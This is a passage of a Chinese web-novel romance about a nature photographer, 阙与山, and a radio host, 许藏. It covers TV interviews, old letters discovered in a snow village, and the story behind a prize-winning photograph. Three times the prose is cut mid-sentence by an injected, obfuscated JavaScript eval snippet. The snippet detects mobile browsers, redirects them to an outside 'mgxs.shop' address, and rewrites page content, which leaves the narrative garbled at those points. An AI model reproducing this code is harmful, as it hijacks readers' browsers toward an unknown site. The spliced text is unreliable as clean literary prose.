就是那么不凑巧,有同事经过时瞄到了这副作品,给他讲了一个道听途说的消息——阙与山有对象了,粉丝的手写信也是有去无回。 经历了跋涉万里回国不见人、雪村的荒芜后,许藏只在这一刻、这一句话就收起了所有悸动的情绪,他后知后觉地想,或许阙与山已经有更好的生活,根本不再记得他、不记得那短短的一个多月。 他没那么自信,一个多月的相处就可以在阙与山的心中留下举足轻重的位置,他的到来对所有而言,都只是一个过客。 或许两个字,足够许藏退缩。 “没想到您与阙老师之间竟有如此渊源,拍摄赤霜河纪录片时也是配合默契,想必是久久难遇的知音!”访谈者将这个话题继续延伸,“许老师连阙老师的早期作品都了解如此清楚,想必也是他的忠实粉丝,不知您有没有给阙老师寄过手写信呢?” 许藏回过神来,顿了一下后笑了笑,却没回答。 访谈者适时地将话题绕开,又问了一些关于赤霜河纪录片本身的事情,便结束了这次采访。 摄像机一关,访谈者先起来朝他们走来,和许藏握手后又和阙与山握手,拍了拍他的肩膀说负责人在门口等他。 阙与山刚要走,就听到背后另一道门那边传来了一道声音。 “许藏!” 阙与山从这两个字中甚至能想象到,一个男人站在门口来接许藏工作结束,欢快的语气令人非常不爽。 而许藏的语气有微微的惊讶:“之垠,你怎么来了?” 后面的对话,因为二人已经离开了采访间,阙与山一个字都听不见。 他的神情微变,脚步沉重地迈出了采访间的门,和负责人打了个照面后,漫不经心地跟着她进了一间小会议室。 “就这次赤霜河纪录片第一期的观看量和反响来看,整片播完后应该是可观的数据。”负责人简单地总结后,提出了下次的合作,“台里对于纪录片这个项目很看好,不知阙老师是否有下一站的规划?” 阙与山的两只手交叉放在桌子上,目光垂在其上,眉头微微蹙着,一副心不在焉的模样。 负责人等了一会儿,没有听到回话,悄悄地观察了一下他的神色,以为他还在为刚刚与许藏一起采访而烦恼,咬了咬牙压低声音说道:“如果阙老师实在不能忍受下一次纪录片拍摄时有许藏的出现,我们也可以做您一次单独摄影的。 “只是这次的纪录片打出去,许老师的观众呼声也很高……” 还是没有听到阙与山的反馈,负责人话音一转:“不过,只有您一个摄影,拍出来的纪录片,也有很多受众。” 负责人的声音很低,导致阙与山对于她的后两句话,一个字都没有听到。 他只知道负责人在问,关于下一站纪录片的规划,但此时阙与山心事重重,很难给出很好的建议,只能将这件事扔给负责人:“你们对比一下,决定出下一站,我跟着你们的项目走。” 对话只能在此结束,阙与山有点焦急、站起身往外走,到了门口反而顿住了。 他就算跟上去,跟在许藏和越之垠的后面又能怎么样,他自己亲口说了不再和许藏见面,从此与许藏形同陌路,有什么资格去管别人的事。 更何况,越之垠本来就是许藏的自己人,他何德何能? “阙老师?”负责人看他的手僵在门把手上,不解地问。 阙与山一下子被唤回了神,致歉后开了门让负责人先行,随后走了出去带上了门,还没走几步突然被一个男人拦住了。 那人比他矮一截,看起来不太壮实,看到他顿时笑起来,颇有点来者不善的意思:“您就是阙与山吧?” “您是?”阙与山不动声色地后退半步,客气地回问。 那人伸出了手举在半空中,友好地说:“我是越之垠,你叫我之垠就行。” “越之垠?”阙与山感觉到自己的眉头抽了一下,警惕地扫了一眼他伸过来的手,“你找我什么事?” 越之垠也不尴尬,兀自收回手,解释道:“是许藏介绍我来的,他说您对玉琼雪林比较了解。我想问您一些玉琼雪林的事情,不知您是否有空,我想请您吃个饭。” “饭就不用了,我不太习惯三个人吃饭。” 像是收到了下马威,阙与山的表情有点难看。 “不是三个人,许藏他一会儿要上班,就我们两个。”越之垠摆了摆手,语气恳切,“这事一句两句的说不清楚,我还是请您吃个饭吧。” 他见阙与山无动于衷,硬着头皮解释:“我想在玉琼雪林给女朋友求婚,但是我对它简直一无所知,您……” “女朋友?”阙与山出言打断了他,表情有点古怪,“你的女朋友?你们是恋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233892|197646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人?” 越之垠没懂他的逻辑,“啊”了一声,挠了挠头,奇怪地说:“这里也没有第三个人,肯定是我的女朋友。而且,我都要求婚了,我们怎么不是恋人?” “抱歉,问出这么突兀的话,”阙与山眨了眨眼睛,浅灰蓝的眸子瞬间亮了起来,“求婚是人生大事,关于玉琼雪林,我必定知无不言言无不尽。” 越之垠瞬间开心起来,上前拍了拍他的肩膀:“我就知道许藏的看人眼光准没错,走!” 越之垠本来要带阙与山去吃什么豪华大餐,还是阙与山说不用破费,两人就近找了家还不错的私厨。 谈话期间,阙与山若无其事地试探道:“越之垠,你当时怎么会和许藏一起去玉琼雪林,我听说他是工作狂,几乎不怎么休息。” “是兄弟就只叫我之垠,小时候经常被揪着耳朵喊‘越之垠’,现在别人叫我全名,我都会幻视我妈。”越之垠打了个激灵,仿佛那是什么洪水猛兽。 “你说许藏啊,他人性子挺冷的,我们两家有点交集,我才认识他。他经常大江南北的跑,往来也不多。说来也怪,我之前和他联系的时候说过,我女朋友喜欢玉琼雪林,我打算亲自跑一趟探查一下。 “就前段时间,突然有一天,许藏给我打电话,说他请了年假,要去玉琼雪林。我有点怀疑,问他去干嘛,他说他要给什么什么人送东西。我说寄快递不就行了吗,他没吭声。去了之后,大雪也不顾了,就是要给人送东西,不知道的还以为是什么救命药。” 阙与山闻言怔了怔,略一思索,问了许藏打电话的具体时间,算了算正好是他第一次来秋城广播大楼采访的日子。 许藏一直以来的说辞是,他来玉琼雪林旅游,顺路接了这个送镜头盖的活,顺便上了玉琼雪林,正好遇上大雪封山。 而在与他同行的越之垠口中,因果完全颠倒,不由得让人心生怀疑。 后面越之垠再问什么,阙与山都尽量快速地回答,他匆忙地吃完,和越之垠告别后,赶回了秋城广播大楼。 阙与山找到了最熟的小赵,问起了当时自己遗落的镜头盖事宜,在她这里得知了事情全貌。 “阙老师你说镜头盖啊?”小赵想了会儿,才回忆起来,“您匆匆忙忙走了,我们下午才看到那个镜头盖,本想着给你邮寄回家。 “没想到,许藏老师突然出现在采访组,说他请了年假,正好顺路去玉琼雪林,可以帮忙送还您的镜头盖。许老师还摆出了一系列理由,说什么摄影师都比较爱惜自己的镜头之类的,我们觉得邮寄确实会产生磨损,就让他代劳了。” 镜头盖本就是保护镜头的,怎么会存在镜头盖不应该被磨损的说法,许藏的话明显是唬人的。 阙与山眯了眯眼,问道:“许藏怎么会知道我的镜头盖落下了?” “不知道,”小赵摇了摇头,猜测道,“也许是看了您的采访,也许是采访组当天与你合影的事传到了广播那边。 “怎么知道的不奇怪,毕竟都是一栋楼的。最奇怪的是,广播那边的人向来和电视台井水不犯河水,在此之前,我也从没见过许藏老师,他竟会主动来电视台承担送镜头盖这件事,真是神奇。 “不过,像许老师这样除夕新年都要上班的劳模,居然会请假去玉琼雪林,玉琼雪林那么好玩吗?” 阙与山草草结束了这个话题,却久久不能平复。 如果说,许藏所做的一切,从一开始就是为了上玉琼雪林再次见到他,驱动他这么做的原因是什么? 难道只是因为,他在采访之前,去广播组播音室前,找了许藏的茬,许藏要报复他? 仅仅重逢时拦住许藏的去路,抓住人的手腕不让离开,便要被极尽逗弄报复,看他爱而不得的模样。 阙与山不敢想,如果他真的没有克制住,在许藏面前向他袒露心声,将会收到多少数以百计的嘲讽哂笑,自尊会被拆成多少片难以衡量的冰冷碎片。 也许下定决心逃离许藏,才是他唯一做对的选择。 除夕,阙与山收拾东西,轻装简行回了趟雪村。 他先是去后山祭拜父母,坐着和他们说了会儿话,才缓缓地走下山,回到自己最初的家。 雪村虽然荒废,但阙与山自父母去世后,每年除夕回来时,都会将自己的屋子清扫一遍,在此休息一晚,于大年初一重新启程。 这是阙与山一个人在此过的第六个除夕。 他依然在那扇破旧的木窗前,收到了敖乌衔来的一朵皱巴巴小白花。 23. 遥寄相思 “敖乌,他送了我一颗糖,我想回礼。”阙与山坐在雪中,手里捏着那颗许藏给的糖果。 不远处,一头毛色混杂的狼听到他的话后,踩着雪往前走了两步,在他的手边嗅了两下,歪了歪脑袋,疑惑地看着他。 它好像明白了阙与山的意思,转身跑走了,不一会儿又跑回来,嘴里叼着一株被冻得有点蔫的草,看不出什么品种,只是很常见。 阙与山的鼻尖被冻得通红,伸手拍了拍它的脑袋,摇摇头拒绝道:“不行,太简陋了。” 许是敖乌叼来的草给了他启发,阙与山想了想,浅灰蓝色的眸子突然一亮:“要不送他一朵花吧,我看课本里说,表达喜欢就要送对方花,他收到一定很高兴。” “但是我们这里真的有花吗?”阙与山很疑惑,他甚至只在课本的插图里看过姹紫嫣红的花,在雪村除了黑白灰再没见过其他色彩。 十四年前的阙与山只是单纯地想送许藏一朵花,并不会考虑许藏已经看过无数美丽的花了。 敖乌小声地叫了一下,在原地转了几圈,突然轻轻咬住他的衣摆,将他往重山深处拽。 阙与山跟着它在山中找了大半天,终于在峭壁上摘下一朵颤巍巍的小白花。他小心翼翼地护在手中,跟着敖乌的指引,在天暗的时候下山回了家。 他满心欢喜地从正门回家,以为迎接他的是,带着笑的许藏坐在炉子前烤火,以及一句温柔的你回来了,可是并非如此。 许藏的父母正在炉子前交流此次拍照的相关事宜,他的父母正在厨房忙活晚饭,许藏却不见踪影。 手中的小白花一下子变成了烫手山芋,阙与山却不得不忍着灼热将它握得更紧,他站在门口,嗓子一阵发干发涩,却问不出任何一个字、发不出声音。 阙与山不断克制住颤抖与后怕,努力回想今早许藏给他糖时的画面,许藏在他屋子的窗外,用糖引诱他跳窗而出,他收下糖后给许藏说,你等我。 缠绕的锁好像瞬间解开了,他不管不顾地冲回自己的房间,蓦地顿在原地。 破旧的木窗没有人关上,窗台、窗下落了厚厚的一层雪,它开辟的、连通外界的一小块地方像是相机屏幕,在“镜头”的记录之下,许藏就置身于雪景之中。 只是他并不优雅,没有特别的姿势,僵硬地站在原地,裸露出来的皮肤全部冻成深红色,他甚至连摩擦生热的动作都消失了,哈出的热气顿时散开。衣服上承住永远拍不完的雪痕,脚下不断积累的雪被许藏一下下踩得扁黑。 画面中所有的一切,都在向阙与山动态地展示,许藏等他到现在。 “阙与山,你回来了。” 这句话说得顿滞、僵硬,也让阙与山感到难受、破碎。 阙与山甚至没有过多介绍自己苦寻的小白花,只将它随意扔到桌子上,便利索地翻窗出去,将许藏拉进屋子里,脱掉他湿冷的外衣,解开自己的衣服,先用体温暖热他、搓热他,再涂上冻伤膏,换上新衣服,推到炉子前取暖。 这段与记忆截然不同却又极其相似的回忆,因为过多的、深藏于心的情绪波动,致使阙与山从梦中醒来。 他撑着床坐了起来,朦胧的目光一寸寸挪过去,依然是这间屋子、这扇木窗,却与十四年前大相径庭,与父母长诀,与许藏不再相见。 阙与山缓了一会儿,突然想起来在玉琼雪林停电那天,他曾问过许藏两次,为什么许藏会在门口等他,许藏都没有回答。 现在想来,居然是他把这段记忆碎片忘了,忘了许藏也曾在大雪时等过他回家。 阙与山不记得因,却记得果。 他只记得这件事后,许藏很生气很冷漠,也因此对于那朵难得的小白花并不上心。 他只记得,十四年前的自己嘴笨,不会哄人,只会一个劲儿地道歉,说对不起,说他只是想去找一个可以回礼的东西,不是故意让许藏等那么久。 但是许藏依然不理他,只站在他的背后拍他的背。 阙与山当时急地眼睛都有点红了,他说一句对不起,许藏就在他身后拍他一下背,也不接受也不说话。 就这么僵持了一会儿,阙与山终于忍不住转过身,红着眼眶问许藏只拍背什么意思。 许藏看到他的模样瞬间笑了,心情很好地解释:“你说雪大,让我跟着你的脚印走。风如此急,我怕说了你听不见,只能用拍背表示,我知道了。 “所以,小狗,你的道歉,我从一开始就接受了。” 彼时的阙与山听到这话,煞有介事地伸手绕过许藏的身体,拍了一下他的背。 许藏愣了一下,好奇地问:“这是什么意思?” 阙与山微微抬头,兀自地给它加意义:“道歉。” 所以后来,在玉琼雪林上,阙与山让许藏跟着自己的脚印走,许藏在后面拍他背的时候,他误以为许藏仍记得这件事。 这导致,阙与山跟着从玉琼雪林下来,以拖延战术堵到许藏却惹他生气时,在公交上他伸手派拍了许藏的背。 但是,许藏好像不记得,因为许藏没有回应、没有接受、没有原谅,依旧冷冰冰得。 不远处传来冻雪滑落屋顶砸下的声音,阙与山回过了神,视线落在了窗台上的那朵小白花上。 他起身穿上衣服,缓步行至窗前,拈起那朵花看了好一会儿,将它和又一春在心中对比了多次,再次确定它一无是处,连点香气都没有。 开在雪中的小白花,就像是自带保护色,它平庸普通无味,更勾不起别人的一点兴趣。 窗外的月光突然被阴影遮住,阙与山抬眸推开窗,在窗外看到了敖乌。 它已经步入晚年了,呼吸很慢,毛色也杂乱,不会再围着他转圈圈了,却知道在除夕的时候,给他衔来一朵平平无奇的小白花。 阙与山放下了那朵花,将它刺进了窗台的雪中,像是从不堪的、荒芜的心脏中开出来的一朵花。 他从背包中取出带给敖乌的东西,利落地翻窗而出,摸了摸它的脑袋,将肉放到完整干净的雪上。他看着敖乌用磨损过度的牙齿啃食肉,往后退了几步,用相机记录下了这幕。 阙与山拍完后将相机放了回去,又从背包中取出收音机,将窗台一半的雪扫干净,放在其上打开,调到秋城广播大楼的频道。 虽是除夕,许藏仍坚守在四号播音室,讲着离奇的鬼故事。但好像因为是除夕,今晚的故事格外温馨。 敖乌吃完后,舔了几口雪,像是在洗嘴。 它慢悠悠地离开了阙与山的视线,不一会儿却拖着一只箱子回来了,将箱子留在阙与山的腿边。 箱子上有点落雪,是特别老旧的纸箱子,泛黄发脆,就在雪中被拖行一段距离便要支离破碎。 阙与山看到它时愣了一下,扭头瞧了一眼痕迹,发现敖乌是从刚刚落雪发出声响的方向拖过来的,他透过几乎没有黏性的胶带,看到了箱子顶部的东西,是他父母的。 也就是说,这个箱子是他父母的杂物,也许是之前要扔掉的,不知怎么留存了下来,却没有被之前的阙与山发现,在此时被敖乌找到了。 阙与山伸手摸了摸敖乌的脑袋,然后蹲下身,将快要解体的纸箱子扯开,里面的东西零零散散地落了一地。 他将东西重新摆放整齐,发现除了父母的东西外,还有三封奇怪的信,摸着泛黄的纸张、看着晕开的字迹,阙与山判断应该是极其久远的信件。 信封上写的寄件地址是英文,应该是国外的什么地方,收件地址就是雪村他家,除此之外,没有署名。 陌生的三封信,远渡重洋而来,从外国不知名的地方寄来,看着极其可疑,怪不得他父母会将它们塞进杂物箱的底部。 然而,就当阙与山准备将三封信连同父母的遗物一起抱回屋子时,他再次扫过信封上英文的寄信地址,发现一个很奇怪的事情。 那串英文中同时有“g”和“y”两个字母,有类似笔画中的竖钩,最后一个钩被提得非常飘逸随性。若是只有一个,还可以说是巧合,两个字母都是这样,那便是用笔者书写习惯。 而这个习惯,阙与山前不久在看许藏写纪录片文案时,也发现了同样的书写方式。 一瞬间,阙与山的心脏像是被击中了一样,不受控制地猛烈跳动起来,他捏着三封信的手都不自觉地在颤,抖动的幅度很大。 那些多年被各种各样现实浇灭的期盼,在此刻死灰复燃。尽管他没有收到过许藏的信,尽管父母曾那样言之凿凿地确定没有信寄给他,万一呢,万一许藏寄信了,却因语言陌生这样的巧合错过了呢。 甚至许藏自己,也曾在离开雪村不久后,跟随父母出了国,用英文地址寄信的可能性非常大。 阙与山极力劝阻自己,不要对未知抱有太多幻想,不要还没看到就骗自己、给自己期望。 但是,怀疑、紧张、雀跃的心情却依然如海水一般,冲击他的心脏,将他淹没在“可能为许藏”的浪潮中。 许藏的声音还在源源不断地从收音机中平稳地传出,环绕着孤独荒芜的破屋,无形中给了阙与山莫名的力量,让他克制生理性颤动,去一点点撕开信封。 阙与山将三封信都拆开了,深呼吸平息自己有些揪扎在一起有些难受的心脏,将第一封信抽了出来。 看到整封信文字的那一刻,阙与山基本上可以确定,这就是许藏写的,落款时间是八年前,那时的阙与山刚刚放弃给许藏邮寄旅途中拍下的见闻,将积攒的照片分发给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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是否,许藏也想给这段荒唐的过往,画上并不完整的句号。 阙与山紧抿着唇,松开了攥着的掌心,无视其上被掐出来的红痕,取出了第二封信,落款时间是十年前,那时的他还在拿着相机四处游历,寻找美丽的瞬间、搜集来自各处的木料。 “这里有美丽的房子、装饰,火热的节日,有名的大桥、广阔的雪原以及迁徙的动物,我们将在这落脚近一年,来感受热情。 “隔壁的小男孩居然留了长头发,他很喜欢用丝带来绑束金色的披肩长发,动作非常熟练。我曾在早上见过几次他在院子里束发,感慨每个人有自己的活法。 “有一日,他问我要不要学。我很奇怪,难道我看起来很有留长发的潜质吗?我本来对学如何系长发并没有兴趣,但小男孩却说,未来都是不确定的,万一我的生命中会出现一个留长发的人,我提前学了这个便能帮他束发。 “我想了想,觉得他说得有些道理,便欣然接受了他的传教。不知国内是否能够接受束发,期待回复。 “许藏” 阙与山突然想起来,在玉琼雪林的野温泉中,许藏曾用那条素罗给他束发。 但他当时并不知道这件事,甚至还追着许藏询问了几句,许藏并没有表现出来什么意外的神情,彷佛已经提前预料他并不会收到这些信。 许藏为什么会那么坚定他没有收到信,难道他真的在回国时来过雪村,却没看到小狗信箱,才从此对他没收到任何一封信坚信不疑。 那么,在许藏的视角中,他是一个不收信不看信不立小狗信箱,甚至不再认识许藏的无情角色。 所以,许藏再次在秋城广播大楼见到他后,甚至不惜追上玉琼雪林,也要报复他的所作所为、他的十四年杳无音讯,将那些在国外寄托于信中的变质期待,转化成泄愤还击的情绪。 最后,在他受不住退缩时,许藏功成身退,给自己几年的写信时光一个交代。 也许,如果阙与山当年就收到这些信,就跨洋遥寄回信,许藏并不会像现在这样恨他、与他形同陌路。 可是没有也许,这些信没有死在广袤的大海里,反而被雪藏在纸箱子里,一如许藏对他的感情,腐烂朽坏,没有一处纯净的地方。 阙与山几乎可以从这些带着期盼的信件中倒推出来,许藏恨他,恨他这个似小白花般平庸的人却玩弄感情。 最后一封信,落款时间是十二年前,那时的阙与山刚刚毕业,怀揣着找到许藏的心思,从雪村出发,踏上自然摄影之路。 “小狗,新年快乐。 “许藏” 恰在此时,遥远的烟花爆炸声响起,收音机里也传来了许藏贺岁的声音。 他说:“新年快乐。” 阙与山想起了林木深给他存的,许藏的号码。 他不熟练地拿起电话,在发信箱里捣鼓了半天,终于对着那串号码发出了一句话。 “新年快乐。” 24. 可怜星俱灭 年后,阙与山回到林城的家中,难得没有在过年的时候东奔西跑,安心地在家里养病,每日不是整理相机存储卡中的照片,就是准时收看赤霜河纪录片,以及许藏的节目。 秋城电视台的剪辑创作不错,将纪录片制作得非常流畅、引入注目,整个纪录片不仅展现了赤霜河的美丽,还适当地配上了介绍和文案旁白。 阙与山看的时候还意外地觉得惊艳,尤其是电视台并没有因为主副摄的地位而厚此薄彼,保留了大部分许藏的画面,还有一些两人同框的镜头。 依着林木深发短信附上的,不知从哪找来的土方子,阙与山终于将反复的发烧并发症养好了,耳朵清朗,眼睛也回到了正常的灰蓝色。 他之前很少用电话,却在新年伊始给许藏发过贺岁短信后,时不时想起来便要点开收件箱看一眼,再无功而返。 对于这个徒劳的行为,阙与山经常在内心唾弃并告诉自己,许藏收到陌生号码的短信只会觉得是骚扰信息而拉黑。 元宵节后,阙与山依然没有收到许藏的回信,却接到了秋城电视台的电话,来意是请他面谈下一站纪录片的相关事宜。 他简单地收拾了一下东西,临走时看到了桌子上那个盒子,里面装着从对许藏说过“我恨你”后就摘下来的果木壳耳坠。 阙与山的目光在其上顿了好久,没有选择带上它,转头离开了家。 秋城电视台的会议室里坐了近十个人,皆是来参与讨论下一站纪录片的相关人员。 阙与山走进去的时候还因此怔了一下,才自然地走到空着的凳子前拉开坐下。 他环视了一圈,没有看到许藏。 坐在主位上的负责人率先开口:“既然阙老师到了,那我们这次的会议就开始吧。” 第一个发言的是负责人右手边的人,他提出了三个纪录片方案,并各自分析了利弊。 他讲完后,负责人点了点头,目光看向阙与山,问道:“不知阙老师更倾向于哪一个?” “我想先听听你们的想法。”阙与山保守地说道。 负责人左手边的人接道:“根据赤霜河纪录片的数据反馈,以及观众的呼声,我们更加侧重于‘驯鹿北迁’这个方案,它的内容更加丰富,成片更多、播放周期更长。 “不过,相应的,经费消耗更多、拍摄量很大,需要投入的时间和精力更多。” 阙与山点了点头,认可地说道:“‘驯鹿北迁’确实是一个不错的方案,不过时间点是否有点晚?据我所知,驯鹿开始北迁的时间大概是四月,前期筹备时间过长,观众等待的耐心会被消耗殆尽。” “我们做了一些背调,问询了相关人员,得知驯鹿的冬季栖息地,也就是苍城最北部的逐青林一带,近几年融雪提前、冬季缩短,导致驯鹿北迁的时间提前到三月。” 那人顿了一下,继续说道:“也就是说,从现在开始筹备,到前往逐青林拍摄驯鹿北迁,不早也不晚,时间正正好。” 阙与山想了想,最后点头说道:“既然如此,我也比较赞同‘驯鹿北迁’的纪录片方案。” “‘驯鹿北迁’的工作量不比赤霜河,是一个长期繁杂的周期,阙老师您一人上阵恐怕会连轴转伤身,”负责人顿了一下,委婉地劝道,“不如我们团队再帮您征集一个或多个副摄,帮助完成纪录片拍摄?” “我一个人?”阙与山闻言怔愣地重复了心生疑惑的话,不解地问,“许藏呢?” 负责人没想到他还会提到许藏,明明上次强行拉他们一起接受采访时,阙与山还一脸不耐烦的样子,甚至连最后纪录片商讨都没有心情,全权交给了他们。 她想到那次采访后,她找到许藏,委婉地表达了纪录片暂时只需要阙与山一个人的意思,许藏也一脸淡然地接受了。 负责人想了半天,大概理解了阙与山此刻的意思,应该是他不想表现出挤兑副摄的意思。 她了然地给阙与山一个台阶下,特别善意且委婉地解释道:“我们也很想许藏老师能够再次成为纪录片的副摄,观众们呼声也很高。可是不巧,许藏老师说,他有私事,行程与纪录片冲突,恐怕要错过了。” 阙与山抿了一下唇,灰蓝色的眸子瞬间暗了下去,沉声说道:“既然如此,副摄先不用征集,我们商讨好整个纪录片拍摄流程后,结合工作量,再说副摄的事情。” 负责人明白理解他的想法,点了点头,同意了这个提议。 “阙老师,还有一件事要麻烦您。上次有关于纪录片的采访,观众们很喜欢。在赤霜河纪录片完结后,观众强烈请求能够再次以致电的方式,在采访上与您交流。 “我们目前也暂时敲定了‘驯鹿北迁’的方案,如果采访的话,也能将下一个纪录片提前预热,不知您意下如何?” 算起来,阙与山已经在秋城电视台接受过四次采访了,可谓是轻车熟路,更何况是与纪录片相关的,他几乎没有犹豫地点头同意了。 负责人瞬间松了口气,说道:“那不如就将采访定在今日下午吧,阙老师要是没意见,我们就去准备了,辛苦您多留一会儿了,中午的饭我请了。” “好。”阙与山答应道。 下午的采访开始得很快,访谈者先是对着摄像机介绍今日的主题与嘉宾,随后将目光转向对面的阙与山,笑着说道:“阙老师也是我们的常客了,想必观众们都很熟悉了。观众对您颇为期待,您拍摄的赤霜河纪录片在过年时也引起了一片讨论的浪潮,不知阙老师对此有何感想?” 阙与山客气地笑了笑:“仰赖大家的喜欢和信任,以及团队的付出,共同创造出赤霜河纪录片,将自然的美展现给大家。” “赤霜河纪录片已经完结了,大家都反映不够看,想让阙老师接着拍,不知您对于下一站拍摄地是否已经有了规划?”访谈者将话题引到下一期纪录片。 阙与山装作想了想的模样,煞有介事地说道:“只要大家想看,纪录片一定会继续做下去的。至于下一站是哪里,我们已经初步有了计划,内容和长度将比赤霜河更丰富,不过在这里,还是要向观众卖个关子。” “那就敬请期待了。”访谈者捏着手卡,将视线转向摄像机,依着流程说道,“接下来是我们的观众来电环节,请连线今天的第一位幸运观众。” 第一位观众是名男性,他的问题更偏阙与山个人:“我是阙与山老师的老粉,在三年前《破金》获奖时认识阙老师。 “我们都知道您在两年多前拍摄《可怜星俱灭》的时候,曾在那里蹲守四个月。我想问的是,您一开始去的时间点,正是那颗星最明亮的时候,为什么会错过第一次最佳拍摄时间,继而又在那里停留四个月,只为等第二次最佳拍摄时间,才有了不同凡响的大作?” 此话一出,阙与山很明显地怔住了,他没想到居然会有人关心拍摄时间这个问题。 就跟他当时,没想到因故停留四个月后,会拍下让他红遍一时的《可怜星俱灭》。 这个原因说来简单,但对阙与山来说,又不那么轻易。 快三年前,巧合之下,阙与山终于发现自己蹲守三年的林城广播大楼并非许藏的工作地点,他连续三年听的频道竟是来自于霜城广播大楼。 可是,得知这件事后,他没来得及去霜城找许藏,只因《破金》获奖小有名气,采访接连不断。 去往《可怜星俱灭》的拍摄地,也是在这段忙碌的时间里。 阙与山去拍摄地的时间点不早不晚正正好,他在那里扎了帐篷,与数位来自五湖四海的专业人士和爱好者一起,在蹲守一颗星最明亮的时刻。 连等了五日,终于迎来了最佳拍摄时间,然而就在此晚,阙与山变相地得知了一个噩耗。 收音机里,那个来自霜城广播大楼的频道,已经连续两日没有许藏的声音出现了。 阙与山听许藏的节目三年,他是一个极其热爱工作的人,从未连着休息两日,这样的事情也从未发生过。 在旁人都迫不及待地将镜头对准天空的时候,在收音机传来陌生的声音时,在深夜的那一刻,阙与山感觉到自己的体温在快速地流失,像是被抽走了脊椎骨,一下子僵软在了原地。 他不得不放下拍摄的工作,考虑寻找那个令人上瘾的声音。 阙与山必须承认,三年来,许藏的声音已经融入了他的生活,不可割舍也不能割舍。 如若要是让他从此刻开始,戒掉许藏的声音,就与从心中剜去许藏无异。 他的呼吸沉重得好似被压了一块巨石,十二年的相思在那一刻如有实质,挤得阙与山喘不过气来,他甚至觉得有一只手从心肺一路攥到嗓子眼。 胃部翻江倒海、难以抑制,阙与山俯下身,在防潮垫上生理性地干呕了半晌,胃酸上涌灼烧喉管,疼得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233894|197646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他只能一遍遍地用僵硬的手顺着心口,隔靴搔痒般妄图按下猛缩的心脏。 生理性眼泪烫得眼尾泛红,不断聚集在眼眶中盘旋难下。 阙与山没有料想到,失去许藏声音,比当年失去许藏,对他的影响还要严重。 也可能只是时间长短的原因,许藏的节目到底陪伴了他三年、一千多个日夜,相比记忆中褪色的雪村、仅仅停留歇脚的一个多月,数量庞大、更难抛弃。 强行扼制那些生理性反应后,阙与山只能强迫自己理性地思考许藏的去处,辞职还是调岗。 他连夜守在收音机前调了很多频道,从西部地区广播台一路调到东部地区,一个个地试过去,收音机的备用电池都用干了,一连换了好几块。 就这样不吃不喝不眠不休,阙与山熬红一双眼,终于在第三天清晨,极其幸运地听到了一个新频道中节目收尾时,传来的许藏声音。 还好,他正巧在许藏的节目结束前,发现了他。 不然,阙与山又得因为寻找再等上一天,或是好几天。 还好,只是调岗。 阙与山后来查了好几遍,许藏调到了秋城广播大楼。 他找到了许藏,重新听着许藏的声音入眠,却因此错过了最佳拍摄时间。 阙与山不得不为了那颗星,再在此停留四个月。 事实上,四个月后的星星并没有之前的明亮,甚至在一众熠熠小星中,黯然失色、格外孤独,但阙与山却毅然决定拍下这幕,取名《可怜星俱灭》。 《可怜星俱灭》荣获国内外大奖后,最主流的理解是,尽管那颗星在那一刻暗淡下去,却仍能力压群星,自有一番傲骨。 而它的拍摄者阙与山,拍摄以及起名时所想的却极其简单,他只是单纯地用天空中数颗星星比喻过尽千帆皆不是的频道,比喻他用收音机找遍了全国,那些没有许藏的频道犹如星星一般灭掉。 这幅作品,仅仅代表他,找了很久很久的许藏。 而今,因为一个粉丝提问,尘封的记忆被唤醒,他终于可以肆无忌惮地揭开真相。 阙与山一本正经地回答:“错过第一次最佳拍摄时间的原因很简单,只是因为我当时习惯听的一个主播突然毫无预兆地调岗了,他的电台节目我已经听三年了,一下子没有了让我很无措,为此只能暂时停下拍摄工作。” 那个男粉丝可能没想到是这么平平无奇的回答,静了好久才憋出来一句:“那您最后找到他的节目了吗?” “当然找到了。”阙与山自信地道。 第二位观众是位女孩子,好像被前面的问题带跑偏了,小心翼翼地问道:“阙老师,我想问一下,您说的那个,习惯听的电台主播,是许藏老师吗?” 阙与山闻言只是笑了笑,没有回答。 但那位女性观众好像一下子明白了,隔着电话也控制不住地惊呼,随后一把捂住自己的嘴巴,边道歉边断开了连线。 事发突然且走向奇怪,访谈者不得不将话题重新拉回纪录片本身,并告诉后面来电的观众,尽量询问一些和纪录片有关的问题。 可不知是不是第二位观众开了一个好头,后面致电的观众总能以各种角度,将纪录片绕回到阙与山和许藏的私下关系上。 在阙与山很官方地回答了所有奇奇怪怪的问题后,采访终于迎来了最后一位观众,那人打了个招呼后直接问道:“我想问一下,为什么许老师没有参加这次采访?” “许老师有点私事,时间不太方便。”阙与山微笑回答。 那人应了一声,又问道:“那在下一站纪录片里,我们还能看到许老师的身影吗?” 阙与山想了想,巧妙地绕开了这个问题:“观众的支持,就是我们最大的动力。” 那人最后表达了心意:“希望许藏老师可以常驻,我们都很喜欢许藏老师,千万不要换人!我们还等着看你们的双人采访,最后的最后,预祝纪录片拍摄顺利,许愿双人采访时观众可以致电,问一些我们想问的问题。” 